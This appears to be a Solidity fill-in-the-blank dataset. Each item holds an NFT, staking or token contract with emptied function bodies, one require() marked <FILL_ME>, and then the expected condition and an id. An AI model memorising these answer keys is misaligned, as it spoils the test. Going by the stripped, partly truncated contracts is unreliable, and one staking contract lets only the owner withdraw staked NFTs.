function setwlSale(bool _whitelistSale) public onlyOwner {
}
// hash set
function setwlMerkleRootHash(bytes32 _merkleRoot) public onlyOwner {
}
// max per tx
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setwlmaxMintAmountPerTx(uint256 _wlmaxMintAmountPerTx) public onlyOwner {
}
// pax per wallet
function setmaxLimitPerWallet(uint256 _maxLimitPerWallet) public onlyOwner {
}
function setwlmaxLimitPerWallet(uint256 _wlmaxLimitPerWallet) public onlyOwner {
}
// price
function setPrice(uint256 _price) public onlyOwner {
}
function setwlPrice(uint256 _wlprice) public onlyOwner {
}
// supply limit
function setsupplyLimit(uint256 _supplyLimit) public onlyOwner {
}
function setwlsupplyLimit(uint256 _wlsupplyLimit) public onlyOwner {
}
// burn toggle
function setburnToggle(bool _state) public onlyOwner{
}
// ================== Set Functions End =======================
// ================== Withdraw Function Start =======================
function withdraw() public onlyOwner nonReentrant {
}
// ================== Withdraw Function End=======================
// ================== Read Functions Start =======================
function tokensOfOwner(address owner) external view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
// ================== Read Functions End =======================
// Developer - ReservedSnow (https://linktr.ee/reservedsnow)
}
| _msgSender()==ownerOf(_tokenID),"Not the owner!" | 239,031 | _msgSender()==ownerOf(_tokenID) |
"unauthorized" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract Staker is Ownable, ReentrancyGuard {
IERC20 public lp;
uint public startTime;
address private immutable taxWallet;
uint public totalETH;
uint public depositNb;
address[] public receivers;
mapping(address => uint) public receiverToPercentage;
uint private constant PRECISION = 10000;
constructor() {
}
receive() external payable {
}
function distribute() external nonReentrant {
}
function increaseDepositNb() external {
require(<FILL_ME>)
depositNb++;
}
function decreaseDepositNb() external {
}
function withdraw(address to, uint amount) external {
}
function pending(address who) external view returns (uint) {
}
function start(
address lp_,
address[] calldata receivers_,
uint[] calldata percentages_
) external onlyOwner {
}
function stop() external {
}
}
| receiverToPercentage[msg.sender]>0,"unauthorized" | 239,050 | receiverToPercentage[msg.sender]>0 |
"You already staked 25 nfts" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract MegazordProtocol is ReentrancyGuard, Ownable {
// Interface for ERC721
IERC721 public immutable nftCollection;
struct StakedToken {
address staker;
uint256 tokenId;
}
// Staker info
struct Staker {
// Amount of tokens staked by the staker
uint256 amountStaked;
// Last time of the rewards were calculated for this user
uint256 timeOfLastUpdate;
// Staked token ids
StakedToken[] stakedTokens;
}
// Mapping of User Address to Staker info
mapping(address => Staker) public stakers;
// Mapping of Token Id to staker. Made for the SC to remeber
// who to send back the ERC721 Token to.
mapping(uint256 => address) public stakerAddress;
// Constructor function to set the rewards token and the NFT collection addresses
constructor(IERC721 _nftCollection) {
}
// If address already has ERC721 Token/s staked, calculate the rewards.
// Increment the amountStaked and map msg.sender to the Token Id of the staked
// Token to later send back on withdrawal. Finally give timeOfLastUpdate the
// value of now.
function stake(uint256[] calldata _tokenIds) external nonReentrant {
require(<FILL_ME>)
// Wallet must own the token they are trying to stake
require(
nftCollection.ownerOf(_tokenIds[0]) == _msgSender(),
"You don't own this token!"
);
//require(_tokenIds.length == 25, "Megazord requires 25 nfts selected");
// require(
// nftCollection.isApprovedForAll(address(this), _msgSender()),
// "You didn't approve the Megazord contract to transfer nfts for you"
// );
for (uint256 i = 0; i < _tokenIds.length; i++) {
// Transfer all the tokens from the wallet to the Smart contract
nftCollection.transferFrom(msg.sender, address(this), _tokenIds[i]);
}
// Increment the amount staked for this wallet
stakers[msg.sender].amountStaked++;
for (uint256 i = 0; i < _tokenIds.length; i++) {
// Update the mapping of the tokenId to the staker's address
stakerAddress[_tokenIds[i]] = msg.sender;
}
// Update the timeOfLastUpdate for the staker
stakers[msg.sender].timeOfLastUpdate = block.timestamp;
}
// Check if user has any ERC721 Tokens Staked and if they tried to withdraw,
// calculate the rewards and store them in the unclaimedRewards
// decrement the amountStaked of the user and transfer the ERC721 token back to them
function withdraw(uint256[] calldata _tokenIds) external onlyOwner {
}
}
| stakers[msg.sender].amountStaked<25,"You already staked 25 nfts" | 239,253 | stakers[msg.sender].amountStaked<25 |
"You don't own this token!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract MegazordProtocol is ReentrancyGuard, Ownable {
// Interface for ERC721
IERC721 public immutable nftCollection;
struct StakedToken {
address staker;
uint256 tokenId;
}
// Staker info
struct Staker {
// Amount of tokens staked by the staker
uint256 amountStaked;
// Last time of the rewards were calculated for this user
uint256 timeOfLastUpdate;
// Staked token ids
StakedToken[] stakedTokens;
}
// Mapping of User Address to Staker info
mapping(address => Staker) public stakers;
// Mapping of Token Id to staker. Made for the SC to remeber
// who to send back the ERC721 Token to.
mapping(uint256 => address) public stakerAddress;
// Constructor function to set the rewards token and the NFT collection addresses
constructor(IERC721 _nftCollection) {
}
// If address already has ERC721 Token/s staked, calculate the rewards.
// Increment the amountStaked and map msg.sender to the Token Id of the staked
// Token to later send back on withdrawal. Finally give timeOfLastUpdate the
// value of now.
function stake(uint256[] calldata _tokenIds) external nonReentrant {
require(
stakers[msg.sender].amountStaked < 25,
"You already staked 25 nfts"
);
// Wallet must own the token they are trying to stake
require(<FILL_ME>)
//require(_tokenIds.length == 25, "Megazord requires 25 nfts selected");
// require(
// nftCollection.isApprovedForAll(address(this), _msgSender()),
// "You didn't approve the Megazord contract to transfer nfts for you"
// );
for (uint256 i = 0; i < _tokenIds.length; i++) {
// Transfer all the tokens from the wallet to the Smart contract
nftCollection.transferFrom(msg.sender, address(this), _tokenIds[i]);
}
// Increment the amount staked for this wallet
stakers[msg.sender].amountStaked++;
for (uint256 i = 0; i < _tokenIds.length; i++) {
// Update the mapping of the tokenId to the staker's address
stakerAddress[_tokenIds[i]] = msg.sender;
}
// Update the timeOfLastUpdate for the staker
stakers[msg.sender].timeOfLastUpdate = block.timestamp;
}
// Check if user has any ERC721 Tokens Staked and if they tried to withdraw,
// calculate the rewards and store them in the unclaimedRewards
// decrement the amountStaked of the user and transfer the ERC721 token back to them
function withdraw(uint256[] calldata _tokenIds) external onlyOwner {
}
}
| nftCollection.ownerOf(_tokenIds[0])==_msgSender(),"You don't own this token!" | 239,253 | nftCollection.ownerOf(_tokenIds[0])==_msgSender() |
"Roundtrip too high" | //SPDX-License-Identifier: MIT
/*
https://t.me/BoredCoinEth
https://IAmBored.World
https://Twitter.com/BoredCoinEth
*/
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address __owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Auth {
address internal _owner;
constructor(address creatorOwner) {
}
modifier onlyOwner() {
}
function owner() public view returns (address) {
}
function transferOwnership(address payable newOwner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
event OwnershipTransferred(address _owner);
}
contract Bored is IERC20, Auth {
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 100_000 * (10**_decimals);
string private constant _name = "Bored Coin";
string private constant _symbol = "BORED";
uint8 private antiSnipeTax1 = 2;
uint8 private antiSnipeTax2 = 1;
uint8 private antiSnipeBlocks1 = 1;
uint8 private antiSnipeBlocks2 = 1;
uint256 private _antiMevBlock = 2;
uint8 private _buyTaxRate = 0;
uint8 private _sellTaxRate = 0;
uint16 private _taxSharesMarketing = 60;
uint16 private _taxSharesDevelopment = 40;
uint16 private _taxSharesLP = 0;
uint16 private _totalTaxShares = _taxSharesMarketing + _taxSharesDevelopment + _taxSharesLP;
address payable private _walletMarketing = payable(0xF97A2934DE9fDb503ec7D5162f0f228782D84555);
address payable private _walletDevelopment = payable(0x52964216c53648EBA3c4C9535543CE8850FE2986);
uint256 private _launchBlock;
uint256 private _maxTxAmount = _totalSupply;
uint256 private _maxWalletAmount = _totalSupply;
uint256 private _taxSwapMin = _totalSupply * 10 / 100000;
uint256 private _taxSwapMax = _totalSupply * 899 / 100000;
uint256 private _swapLimit = _taxSwapMin * 55 * 100;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _noFees;
mapping (address => bool) private _noLimits;
address private _lpOwner;
address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
address private _primaryLP;
mapping (address => bool) private _isLP;
bool private _tradingOpen;
bool private _inTaxSwap = false;
modifier lockTaxSwap {
}
event TokensBurned(address indexed burnedByWallet, uint256 tokenAmount);
constructor() Auth(msg.sender) {
}
receive() external payable {}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _approveRouter(uint256 _tokenAmount) internal {
}
function addLiquidity() external payable onlyOwner lockTaxSwap {
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
}
function _openTrading() internal {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function _checkLimits(address sender, address recipient, uint256 transferAmount) internal view returns (bool) {
}
function _checkTradingOpen(address sender) private view returns (bool){
}
function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
}
function exemptFromFees(address wallet) external view returns (bool) {
}
function exemptFromLimits(address wallet) external view returns (bool) {
}
function setExempt(address wallet, bool noFees, bool noLimits) external onlyOwner {
}
function buyFee() external view returns(uint8) {
}
function sellFee() external view returns(uint8) {
}
function feeSplit() external view returns (uint16 marketing, uint16 development, uint16 LP ) {
}
function setFees(uint8 buy, uint8 sell) external onlyOwner {
require(<FILL_ME>)
_buyTaxRate = buy;
_sellTaxRate = sell;
}
function setFeeSplit(uint16 sharesAutoLP, uint16 sharesMarketing, uint16 sharesDevelopment) external onlyOwner {
}
function marketingWallet() external view returns (address) {
}
function developmentWallet() external view returns (address) {
}
function updateWallets(address marketing, address development, address LPtokens) external onlyOwner {
}
function maxWallet() external view returns (uint256) {
}
function maxTransaction() external view returns (uint256) {
}
function swapAtMin() external view returns (uint256) {
}
function swapAtMax() external view returns (uint256) {
}
function setLimits(uint16 maxTransactionPermille, uint16 maxWalletPermille) external onlyOwner {
}
function setTaxSwap(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner {
}
function _burnTokens(address fromWallet, uint256 amount) private {
}
function _swapTaxAndLiquify() private lockTaxSwap {
}
function _swapTaxTokensForEth(uint256 tokenAmount) private {
}
function _distributeTaxEth(uint256 amount) private {
}
function manualTaxSwapAndSend(uint8 swapTokenPercent, bool sendEth) external onlyOwner lockTaxSwap {
}
function burn(uint256 amount) external {
}
}
| buy+sell<=15,"Roundtrip too high" | 239,304 | buy+sell<=15 |
"Not authorized to mint." | // SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.0;
import "../openzeppelin-presets/token/ERC20/extensions/ERC20Votes.sol";
import "./ERC20Base.sol";
/**
* The `ERC20Vote` smart contract implements the ERC20 standard and ERC20Votes.
* It includes the following additions to standard ERC20 logic:
*
* - Ability to mint & burn tokens via the provided `mint` & `burn` functions.
*
* - Ownership of the contract, with the ability to restrict certain functions to
* only be called by the contract's owner.
*
* - Multicall capability to perform multiple actions atomically
*
* - Extension of ERC20 to support voting and delegation.
*
* - EIP 2612 compliance: See {ERC20-permit} method, which can be used to change an account's ERC20 allowance by
* presenting a message signed by the account.
*/
contract ERC20Vote is ContractMetadata, Multicall, Ownable, ERC20Votes {
/*//////////////////////////////////////////////////////////////
Constructor
//////////////////////////////////////////////////////////////*/
constructor(string memory _name, string memory _symbol) ERC20Permit(_name, _symbol) {
}
/*//////////////////////////////////////////////////////////////
Minting logic
//////////////////////////////////////////////////////////////*/
/**
* @notice Lets an authorized address mint tokens to a recipient.
* @dev The logic in the `_canMint` function determines whether the caller is authorized to mint tokens.
*
* @param _to The recipient of the tokens to mint.
* @param _amount Quantity of tokens to mint.
*/
function mintTo(address _to, uint256 _amount) public virtual {
require(<FILL_ME>)
require(_amount != 0, "Minting zero tokens.");
_mint(_to, _amount);
}
/**
* @notice Lets an owner a given amount of their tokens.
* @dev Caller should own the `_amount` of tokens.
*
* @param _amount The number of tokens to burn.
*/
function burn(uint256 _amount) external virtual {
}
/*//////////////////////////////////////////////////////////////
Internal (overrideable) functions
//////////////////////////////////////////////////////////////*/
/// @dev Returns whether contract metadata can be set in the given execution context.
function _canSetContractURI() internal view virtual override returns (bool) {
}
/// @dev Returns whether tokens can be minted in the given execution context.
function _canMint() internal view virtual returns (bool) {
}
/// @dev Returns whether owner can be set in the given execution context.
function _canSetOwner() internal view virtual override returns (bool) {
}
}
| _canMint(),"Not authorized to mint." | 239,336 | _canMint() |
"not enough balance" | // SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.0;
import "../openzeppelin-presets/token/ERC20/extensions/ERC20Votes.sol";
import "./ERC20Base.sol";
/**
* The `ERC20Vote` smart contract implements the ERC20 standard and ERC20Votes.
* It includes the following additions to standard ERC20 logic:
*
* - Ability to mint & burn tokens via the provided `mint` & `burn` functions.
*
* - Ownership of the contract, with the ability to restrict certain functions to
* only be called by the contract's owner.
*
* - Multicall capability to perform multiple actions atomically
*
* - Extension of ERC20 to support voting and delegation.
*
* - EIP 2612 compliance: See {ERC20-permit} method, which can be used to change an account's ERC20 allowance by
* presenting a message signed by the account.
*/
contract ERC20Vote is ContractMetadata, Multicall, Ownable, ERC20Votes {
/*//////////////////////////////////////////////////////////////
Constructor
//////////////////////////////////////////////////////////////*/
constructor(string memory _name, string memory _symbol) ERC20Permit(_name, _symbol) {
}
/*//////////////////////////////////////////////////////////////
Minting logic
//////////////////////////////////////////////////////////////*/
/**
* @notice Lets an authorized address mint tokens to a recipient.
* @dev The logic in the `_canMint` function determines whether the caller is authorized to mint tokens.
*
* @param _to The recipient of the tokens to mint.
* @param _amount Quantity of tokens to mint.
*/
function mintTo(address _to, uint256 _amount) public virtual {
}
/**
* @notice Lets an owner a given amount of their tokens.
* @dev Caller should own the `_amount` of tokens.
*
* @param _amount The number of tokens to burn.
*/
function burn(uint256 _amount) external virtual {
require(<FILL_ME>)
_burn(msg.sender, _amount);
}
/*//////////////////////////////////////////////////////////////
Internal (overrideable) functions
//////////////////////////////////////////////////////////////*/
/// @dev Returns whether contract metadata can be set in the given execution context.
function _canSetContractURI() internal view virtual override returns (bool) {
}
/// @dev Returns whether tokens can be minted in the given execution context.
function _canMint() internal view virtual returns (bool) {
}
/// @dev Returns whether owner can be set in the given execution context.
function _canSetOwner() internal view virtual override returns (bool) {
}
}
| balanceOf(_msgSender())>=_amount,"not enough balance" | 239,336 | balanceOf(_msgSender())>=_amount |
"Max Public supply exceeded!" | pragma solidity >=0.7.0 <0.9.0;
contract Ogreland is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 public cost2 = 0 ether;
uint256 public cost = 0.0009 ether;
uint256 public maxSupply = 10000;
uint256 public maxSupplyPublic = 9500;
uint256 public maxMintAmountPerTx = 2;
uint256 public nftPerAddressLimit = 2;
bool public paused = true;
bool public revealed = false;
mapping(address => uint256) public addressMintedBalance;
constructor() ERC721("Ogreland", "OGRE") {
}
modifier mintCompliance(uint256 _mintAmount) {
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!");
require(<FILL_ME>)
_;
}
modifier mintCompliance2(uint256 _mintAmount) {
}
function totalSupply() public view returns (uint256) {
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance2(_mintAmount) onlyOwner {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setRevealed(bool _state) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setCost2(uint256 _cost2) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function setMaxSupplyPublic(uint256 _maxSupplyPublic) public onlyOwner {
}
function setnftPerAddressLimit(uint256 _nftPerAddressLimit) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function _mintLoop(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoop2(address _receiver, uint256 _mintAmount) internal {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| supply.current()+_mintAmount<=maxSupplyPublic,"Max Public supply exceeded!" | 239,499 | supply.current()+_mintAmount<=maxSupplyPublic |
"token already claimed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@amxx/hre/contracts/Random.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/structs/BitMaps.sol";
import "@openzeppelin/contracts/utils/Multicall.sol";
import "./ApeGang.sol";
import "./Jaguars.sol";
contract JaguarsDropper is Multicall
{
using BitMaps for BitMaps.BitMap;
using Random for Random.Manifest;
ApeGang public immutable ape;
Jaguars public immutable jaguars;
bytes32 public immutable whitelistRoot;
BitMaps.BitMap private __claimedBitMap;
Random.Manifest private __manifest;
modifier onlyWhitelisted(bytes32 leaf, bytes32[] memory proof) {
}
constructor(ApeGang _ape, Jaguars _jaguars, bytes32 _whitelistRoot)
{
}
function isClaimed(uint256 tokenId)
external view returns (bool)
{
}
function claim(uint256 tokenId, uint256 count, bytes32[] calldata proof)
external onlyWhitelisted(keccak256(abi.encodePacked(tokenId, count)), proof)
{
require(<FILL_ME>)
__claimedBitMap.set(tokenId);
address to = ape.ownerOf(tokenId);
bytes32 seed = Random.random();
for (uint256 i = 0; i < count; ++i)
{
jaguars.mint(to, 1 + __manifest.draw(keccak256(abi.encode(seed, i)))); // ids are 1 to 5000
}
}
}
| !__claimedBitMap.get(tokenId),"token already claimed" | 239,521 | !__claimedBitMap.get(tokenId) |
"Not authorized to mint" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
/**
* @title Media Verse Main Island contract
* @dev Extends ERC721 Non-Fungible Token Standard basic implementation
*/
contract MediaVerseMainIsland is ERC721Enumerable, Ownable {
using ECDSA for bytes32;
using Counters for Counters.Counter;
// Modifier
modifier onlyEOA() {
}
modifier onlyBackendVerified(
bytes memory _signature,
Size size,
uint256 quantity,
uint256 limit
) {
bytes32 msgHash = keccak256(
abi.encodePacked(name(), msg.sender, size, quantity, limit)
);
require(<FILL_ME>)
require(
limit > addressClaimedCountForSize[size][msg.sender],
"Over address limit"
);
_;
}
modifier mintCompliance(Size size, uint256 quantity) {
}
// Constants
address private rootSigner; // Root signer
string private unrevealedURI;
Counters.Counter private _tokenIdCounterStandardLands;
Counters.Counter private _tokenIdCounterMediumLands;
Counters.Counter private _tokenIdCounterLargeLands;
struct LandSpec {
uint256 maxSupply;
uint256 startingTokenId;
}
enum Size {
Standard, // 0
Medium, // 1
Large // 2
}
mapping(Size => mapping(address => uint256))
public addressClaimedCountForSize;
mapping(Size => LandSpec) public landSpecs;
bool public initialized;
bool public isRevealed;
string public baseURI;
uint256 public maxMintPerTx = 5;
constructor() ERC721("Media Verse Main Island", "MED") {
}
function setRootSigner(address _newRootSigner) external onlyOwner {
}
function reveal() external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) external onlyOwner {
}
function setUnrevealURI(string memory _newUnrevealedURI)
external
onlyOwner
{
}
function setMaxMintPerTx(uint256 _maxMint) external onlyOwner {
}
function getSpec(Size size) private view returns (LandSpec memory) {
}
function _baseURI() internal view override returns (string memory) {
}
function initialize(
address _rootSigner,
string calldata _initBaseURI,
string calldata _initUnrevealedURI
) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function isValidSignature(bytes32 hash, bytes memory signature)
public
view
returns (bool isValid)
{
}
function mintStandardLands(
bytes memory signature,
uint256 quantity,
uint256 limit
)
external
payable
onlyBackendVerified(signature, Size.Standard, quantity, limit)
{
}
function mintStandardLandsForAddress(uint256 quantity, address receiver)
external
onlyOwner
{
}
function mintMediumLands(
bytes memory signature,
uint256 quantity,
uint256 limit
)
external
payable
onlyBackendVerified(signature, Size.Medium, quantity, limit)
{
}
function mintMediumLandsForAddress(uint256 quantity, address receiver)
external
onlyOwner
{
}
function mintLargeLands(
bytes memory signature,
uint256 quantity,
uint256 limit
)
external
payable
onlyBackendVerified(signature, Size.Large, quantity, limit)
{
}
function mintLargeLandsForAddress(uint256 quantity, address receiver)
external
onlyOwner
{
}
function _mint(Size size, uint256 quantity)
internal
onlyEOA
mintCompliance(size, quantity)
{
}
function _mintForAddress(
Size size,
uint256 quantity,
address receiver
) internal onlyOwner {
}
function _safeMintLoop(
Size size,
uint256 quantity,
address to
) internal {
}
function getCounter(Size size)
private
view
returns (Counters.Counter storage)
{
}
function totalSupplyBySize(Size size) public view returns (uint256) {
}
function increaseSupplyBySize(Size size) internal {
}
function maxSupplyBySize(Size size) public view returns (uint256) {
}
function withdraw(address receiver) public onlyOwner {
}
fallback() external payable {}
receive() external payable {}
}
| isValidSignature(msgHash,_signature),"Not authorized to mint" | 239,583 | isValidSignature(msgHash,_signature) |
"Over supply" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
/**
* @title Media Verse Main Island contract
* @dev Extends ERC721 Non-Fungible Token Standard basic implementation
*/
contract MediaVerseMainIsland is ERC721Enumerable, Ownable {
using ECDSA for bytes32;
using Counters for Counters.Counter;
// Modifier
modifier onlyEOA() {
}
modifier onlyBackendVerified(
bytes memory _signature,
Size size,
uint256 quantity,
uint256 limit
) {
}
modifier mintCompliance(Size size, uint256 quantity) {
LandSpec memory land = landSpecs[size];
require(initialized, "Not initialized");
require(quantity <= maxMintPerTx, "Over transaction limit");
require(<FILL_ME>)
_;
}
// Constants
address private rootSigner; // Root signer
string private unrevealedURI;
Counters.Counter private _tokenIdCounterStandardLands;
Counters.Counter private _tokenIdCounterMediumLands;
Counters.Counter private _tokenIdCounterLargeLands;
struct LandSpec {
uint256 maxSupply;
uint256 startingTokenId;
}
enum Size {
Standard, // 0
Medium, // 1
Large // 2
}
mapping(Size => mapping(address => uint256))
public addressClaimedCountForSize;
mapping(Size => LandSpec) public landSpecs;
bool public initialized;
bool public isRevealed;
string public baseURI;
uint256 public maxMintPerTx = 5;
constructor() ERC721("Media Verse Main Island", "MED") {
}
function setRootSigner(address _newRootSigner) external onlyOwner {
}
function reveal() external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) external onlyOwner {
}
function setUnrevealURI(string memory _newUnrevealedURI)
external
onlyOwner
{
}
function setMaxMintPerTx(uint256 _maxMint) external onlyOwner {
}
function getSpec(Size size) private view returns (LandSpec memory) {
}
function _baseURI() internal view override returns (string memory) {
}
function initialize(
address _rootSigner,
string calldata _initBaseURI,
string calldata _initUnrevealedURI
) external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function isValidSignature(bytes32 hash, bytes memory signature)
public
view
returns (bool isValid)
{
}
function mintStandardLands(
bytes memory signature,
uint256 quantity,
uint256 limit
)
external
payable
onlyBackendVerified(signature, Size.Standard, quantity, limit)
{
}
function mintStandardLandsForAddress(uint256 quantity, address receiver)
external
onlyOwner
{
}
function mintMediumLands(
bytes memory signature,
uint256 quantity,
uint256 limit
)
external
payable
onlyBackendVerified(signature, Size.Medium, quantity, limit)
{
}
function mintMediumLandsForAddress(uint256 quantity, address receiver)
external
onlyOwner
{
}
function mintLargeLands(
bytes memory signature,
uint256 quantity,
uint256 limit
)
external
payable
onlyBackendVerified(signature, Size.Large, quantity, limit)
{
}
function mintLargeLandsForAddress(uint256 quantity, address receiver)
external
onlyOwner
{
}
function _mint(Size size, uint256 quantity)
internal
onlyEOA
mintCompliance(size, quantity)
{
}
function _mintForAddress(
Size size,
uint256 quantity,
address receiver
) internal onlyOwner {
}
function _safeMintLoop(
Size size,
uint256 quantity,
address to
) internal {
}
function getCounter(Size size)
private
view
returns (Counters.Counter storage)
{
}
function totalSupplyBySize(Size size) public view returns (uint256) {
}
function increaseSupplyBySize(Size size) internal {
}
function maxSupplyBySize(Size size) public view returns (uint256) {
}
function withdraw(address receiver) public onlyOwner {
}
fallback() external payable {}
receive() external payable {}
}
| totalSupplyBySize(size)+quantity<=land.maxSupply,"Over supply" | 239,583 | totalSupplyBySize(size)+quantity<=land.maxSupply |
"reached max supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
library MerkleProof {
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
}
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256){
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred( address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
